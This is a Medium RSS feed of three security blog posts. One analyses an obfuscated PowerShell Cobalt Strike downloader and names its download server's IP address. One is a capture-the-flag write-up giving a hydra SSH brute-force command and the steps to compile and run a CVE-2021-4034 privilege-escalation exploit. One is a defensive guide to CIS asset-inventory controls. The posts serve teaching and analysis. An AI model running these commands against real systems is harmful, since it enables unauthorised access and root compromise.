<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cory Keller on Medium]]></title>
        <description><![CDATA[Stories by Cory Keller on Medium]]></description>
        <link>https://medium.com/@cory.kelleraf?source=rss-37e7156eabfe------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*NUQVpDZC6ukpY0B3EA1fIA.png</url>
            <title>Stories by Cory Keller on Medium</title>
            <link>https://medium.com/@cory.kelleraf?source=rss-37e7156eabfe------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 16:39:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cory.kelleraf/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Cobalt Strike Beacon PowerShell Downloader]]></title>
            <link>https://medium.com/@cory.kelleraf/cobalt-strike-beacon-powershell-downloader-8e2112323d83?source=rss-37e7156eabfe------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e2112323d83</guid>
            <dc:creator><![CDATA[Cory Keller]]></dc:creator>
            <pubDate>Wed, 23 Feb 2022 03:06:23 GMT</pubDate>
            <atom:updated>2022-02-23T03:06:23.838Z</atom:updated>
            <content:encoded><![CDATA[<h3>FIRST WE TAKE A SNAPSHOT</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cCg71tODlmzhz75MPTNPjA.png" /></figure><h3>Sample Screenshot of the malware</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*wh6b3oOWcWotOrdbaioxpQ.png" /></figure><p>In the screen shot sample we see that the sample is broken up in the green square. In the red square is where all the pieces are assembled in the correct order and then executed. The numbers in brackets are associated to the location in the array (green square). When this script is running it will restructure the command in the malware author’s intended order.</p><p>First thing I want to do is to sort this out and see what I am actually dealing with as a PowerShell command.</p><h3>Sorted String Screenshot</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R_SA2DriSzAI9UHx2qDMcg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lNXrbNx-3PNLL4Bl69hsmQ.png" /></figure><p>In order to allow the string to sort and eliminate the potential for it to run, I prepended “Write-Host”. I entered into PowerShell and ran the script voila, I now have the sorted string.</p><p>The PowerShell command contains multiple “-split’ delimeter here’” functions to split up the string and join it together in the desired sequence.</p><p>Again, I will utilize write-host to essentially echo the results of the PowerShell command and have the object split and de-obfuscated. Now I can see what the command is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*JtGI0cjsDHKyK-WHhwgW-A.png" /></figure><p>The command is going to create a web connection to download a file from a webserver located at “42.192.152.182:80” and the file name served is a.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*WYDbzGkCCX88YweP-nCczw.png" /></figure><h4>Server no longer accepting connections.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*OKkV6tsgYR70ydbE2aqKUQ.png" /></figure><h3>Summary</h3><p>The PowerShell script was straight forward. Obfuscated to hide its download string and split up to bypass windows defender. With only static analysis we were able to deconstruct the malicious payload and determine its purpose. We would have gone farther with the reverse engineering of the payload had it been available for download. Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e2112323d83" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bounty Hacker]]></title>
            <link>https://medium.com/@cory.kelleraf/bounty-hacker-c519bc566343?source=rss-37e7156eabfe------2</link>
            <guid isPermaLink="false">https://medium.com/p/c519bc566343</guid>
            <dc:creator><![CDATA[Cory Keller]]></dc:creator>
            <pubDate>Thu, 27 Jan 2022 02:52:45 GMT</pubDate>
            <atom:updated>2022-01-27T02:53:26.571Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*4B_Ed_K4RS8x_uaUl5O4bQ.jpeg" /></figure><p><strong>NMAP</strong></p><pre>PORT STATE SERVICE VERSION <br>21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can&#39;t get directory listing: TIMEOUT | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.13.12.24 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.3 - secure, fast, stable |_End of status </pre><pre>22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA) | 256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA) |_ 256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519) </pre><pre>80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn&#39;t have a title (text/html). Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</pre><h3>FTP</h3><p>I was able to connect to the ftp server on the victim machine. It contained two text files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*3zxDFQLgpA62KwdHiWab0w.png" /></figure><p>The second file is a password list. Going to use it to brute force ssh creds.</p><h3>Hydra SSH Brute Forcing</h3><blockquote><em>hydra -l lin -P locks.txt -u -s 22 10.10.186.204 ssh</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*uDSbZveGwICzN1VxPBEb7g.png" /></figure><h3>Priv escaltion with CVE-2021–4034</h3><blockquote><em>“scp ~/CVE-2021–4034/cve-2021–4034-poc.c lin@10.10.227.100:/home/lin/Desktop”: …</em></blockquote><p>Now that the exploit has been sent over to the victim machine, I only need to compile and gain a root /bin/sh shell.</p><blockquote><em>gcc cve-2021–4034 -o exploit</em></blockquote><blockquote><em>chmod +x exploit</em></blockquote><blockquote><em>./exploit</em></blockquote><p>Woot now I am root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*CxvupiwtaCIijDlhUJbi2g.png" /></figure><h3>Summary</h3><p>This was a straight forward ctf with all the classic examples. It was easy with using the latest and greatest privilege escalation technique. I wanted to do an easy one as a warm up. On one note there appears to be a privilege escalation path in “/bin/tar” as the user was able to run /bin/tar as root. So for bonus points and for the creator’s sanity lets get root as desired by the room’s creator.</p><h3>Sudo /bin/tar root</h3><p>I checked which commands the user can run with sudo using “sudo -l” then provided the password. The use can run /bin/tar as root.</p><p>Using GTFO bins I supplied the following to escalate privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*kCGhFelGzgdCKDW9jqg7Jg.png" /></figure><p><em>Originally published at </em><a href="https://gist.github.com/Director-Fusion/878b22ce1ff8d364201dd1a95fa56dec"><em>http://github.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c519bc566343" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CIS Controls #1 and #2]]></title>
            <link>https://medium.com/@cory.kelleraf/cis-controls-1-and-2-f4e2b0cb82c0?source=rss-37e7156eabfe------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4e2b0cb82c0</guid>
            <dc:creator><![CDATA[Cory Keller]]></dc:creator>
            <pubDate>Tue, 05 Oct 2021 01:22:42 GMT</pubDate>
            <atom:updated>2021-10-05T01:22:42.546Z</atom:updated>
            <content:encoded><![CDATA[<h3>Who, What and Why</h3><p>My name is Cory Keller, and I am a Jr. Offensive Security Specialist and hold several certifications in the cyber security industry. Who I am aiming this series of blog posts at is the IT rep for small business who are on a limited budget and still need to protect their organization. Whether this IT rep is a security minded person or not. What I want to give you is examples of methods that can bolster a security program or build it from scratch. I will use the Center for Internet Security control list as our guide through this process. These controls are based upon data and wisdom collected throughout the cyber security industry. It will get technical along with the guidance pieces that come about.</p><p>Small organizations may have different security requirements. It is ultimately on you to know your organizations governance. Following these controls will get you on the path to compliance with your governance and then some. Compliance, however, will not equate to being secure.</p><p>The tools I am going to recommended will be tested by myself at some point or will be researched and tested for the purpose of the blog. More importantly, budget in mind I will be keeping the tools to the open-source realm. This is not a shot at any commercial piece of hardware or software. However, with open source comes a lot of technical in the weed’s explanations, I’m excited for it. I will break them down into easy-to-follow spoon fed steps as well.</p><h3>Center for Internet Security Controls</h3><p>The Center for Internet Security (CIS) publishes a list of controls that can be downloaded to apply as necessary to your organization. According to CIS “The controls are a set of prioritized set of actions that collectively form a defense-in-depth set of best practices that mitigate the most common attacks against systems and networks”(CIS,2021). These steps were created and prioritized based off actual attacks from other organizations and the collective wisdom of the contributors.</p><p>The CIS controls are based implementation groups. CIS defines Implementation group 1 (IG1) as “An IG1 organization is small to medium-sized with limited IT and cybersecurity expertise to dedicate toward protecting IT assets and personnel.” (CIS,2021). However, we do not need to focus on that exactly. I will focus CIS controls based on the needs of IG1 as I wanted these businesses to benefit from practical security measures, so they do not get picked off by some keyboard jockey looking for low hanging fruit.</p><p>Also, I am aiming these solutions to be scalable. If in a few years you find yourself working for a different organization in IG2/3 or the organization grows into IG2/3 you have something to work with. If you follow along with the entirety of the series keep in mind that these controls tie into each other and blend together.</p><p>Keeping that in mind the first step might not be the sexiest technically…but it is arguably the most important and as long as we keep the list a living document it makes it easy to maintain for the lifecycle of hardware and software alike. These steps will also reward you in making controls like application locking/whitelisting easier to perform alongside MAC address whitelisting.</p><h3>FINALLY, he is done talking and going to show me how to start doing…</h3><h3>CIS Control # 1, Inventory and Control of Hardware Assets.</h3><p>This is the first and most important step. You need to create a living inventory of your hardware. It is important that you understand what you have. You cannot possibly maintain a secure environment if you do not know what you need to secure. Losing sight on your attack surface leaves you open and vulnerable in areas you may never knew you had, and it will be over before you catch it. Depending on your organization’s income flow the fines associated with the governance could be a spear through the heart of the company.</p><p>Maintaining a detailed asset inventory that is living will go long ways into making security effortless in the near future. Addressing network related controls for your organization can be as easy as uploading a document to your router/switches to allow only these identified MAC addresses. “\Once MAC addresses are confirmed, switches should implement 802.1x and Network Access Control (NAC) to only allow authorized systems that are properly configured to connect to the network”(CIS,2021). It is more cumbersome to do these steps as an afterthought. Doing them now saves you heartache and time later. Think of it allowing you to be lazy later ;).</p><p>Even better you can create a logical layout of your network with surety as you have the assets you listed and that they are what is authorized to communicate on your network.</p><p>Think of it as…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/1*W9gDg-uSztHjnQnYKIsUSA.jpeg" /></figure><h3>BUT HOW…</h3><p>Well…whatever works for you. I would strongly avoid the old’ excel spreadsheet. They become customized to someone else’s way of thinking. Whatever you make I recommend the following:</p><pre>1. Serial number <br>2. MAC Address <br>3. Vendor <br>4. Device Type (Computer/laptop, mobile devices or IoT, networked cameras and environmental controls, switches/routers, network security (firewall, IDS, IPS, Proxy)</pre><h3>Automation</h3><p>Let us say you are an established organization and have quite a few assets deployed and cannot afford to take them down to open the case and get the information you require. You can implement some automation to discovery of these assets and identification of authorized devices. Various open-source tools like nmap allow you to scan for hosts on your network, it returns information valuable to you. There are software programs that will ingest nmap output to present a visual on the data you are reading, or you can use the greppable output to grep out what you are looking for…</p><p>I know what you’re thinking…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*MLT7iv5ksAx4Gu8q2dvn7w.jpeg" /></figure><p>This is where tools during and after your inventory help out. Tools like “Snipe-IT” allow for an easy approach to asset management. As a bonus they have a free forever approach.</p><pre><a href="https://github.com/snipe/snipe-it/releases/tag/v5.2.0">https://github.com/snipe/snipe-it/releases/tag/v5.2.0</a> - This link takes you to their latest release (at the time of this blog). <a href="https://snipe-it.readme.io/docs">https://snipe-it.readme.io/docs</a> - This will take you to their documentation.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*3i34X7tirWevFRDBnr7XiA.png" /></figure><p>Even better they have this as a docker container. This will make installation a breeze.</p><p>You can choose to install it locally with a container(easier) or configure a machine to be able to run the software locally. Both of which may take some time, but the documentation is solid and will get you there and running snipe-it.</p><p>Here is what it looks like to see all assets listed out…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*5JQZniIcO2E4n35wLIsWPg.png" /></figure><h3>CIS Control #2 Inventory and Control of Software Assets</h3><p>Inventorying and keeping up with software can be difficult, especially since you may be starting in an environment where there is little to no inventory existing. Now it is on you to not kick the can and do something about it. Fortunately, we already installed a piece of software that will do the heavy record keeping for us.</p><p>The criticality of this information’s importance is exactly the same as the physical hardware. Scenario: You’re driving to work and listening to a technology/security news related podcast, and they mention a piece of software that sounds familiar with the version number. You’re concerned, they rated this a critical but there is a patch for it. You get into work and check your asset management device and see you have that software and the vulnerable version. You act fast and patch it. You stopped your organization from falling victim.</p><p>Now here is my real-world scenario. You listen to that security new podcast. You find out a certain “olarSae indsWae rionOae” software has a terrible vulnerability. You are not sure you have it; you are not sure of what version if you do and cannot find what device you need to patch if you do have it… because you do not have an accurate living inventory. The inventory you thought that was created by a predecessor was not up to date. It was an excel spreadsheet, no one has been updating it…in years. So, no you need to mitigate the risk, you’re spending half your day trying to find out the simple answer of whether you do or do not have a risk. Turns out later you have that software, but do not have that version that is vulnerable…You lucked out. Not so many organizations were as lucky.</p><p>Defining a process that works for you is just that. It is on you, and YOU decide what is needed for you. But if you use a tool like “Snipe-IT” to manage this information then you are going to need at minimum/applicable the following:</p><pre>1. License/Vendor. <br>2. Product Key. <br>3. Expiration date. <br>4. Email Information. <br>5. Point of Contact. <br>6. Manufacturer. <br>7. Version number. <br>8. Count/Total.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*uiNR4cxPLY1P-zhyfWAF8Q.png" /></figure><p>This is coming from Snipe-IT but those are solid pieces of information to use no matter what product as well you find yourself downloading. I have used Snipe-IT in a limited capacity for the purposes of this blog. There is a demo here…</p><pre><a href="https://snipeitapp.com/demo">https://snipeitapp.com/demo</a></pre><p>This will at least allow you to determine if it can work for you (hint: it can) and get a feel for how to use that software as well.</p><p>These controls go hand in hand and should not be skipped and they will empower you to enable powerful OS and network controls as we go along like Network Access Control and AppLocker/Windows Firewall (my personal favorite and our special guest appearance). The risks associated to a IG1 organization may be lower than that of an IG3 org, but the opposing players may not be concerned with your title. It can simply be as easy as you have a misconfigured piece of software on a server you do not know about…oh and it is several security patches behind, with an exploitable vulnerability.</p><p><a href="https://www.cisecurity.org/controls/">https://www.cisecurity.org/controls/</a><a href="https://snipeitapp.com/">https://snipeitapp.com/</a></p><p><em>Originally published at </em><a href="https://gist.github.com/Director-Fusion/4de7905e4182034370b6c1fedc9143a3"><em>http://github.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4e2b0cb82c0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>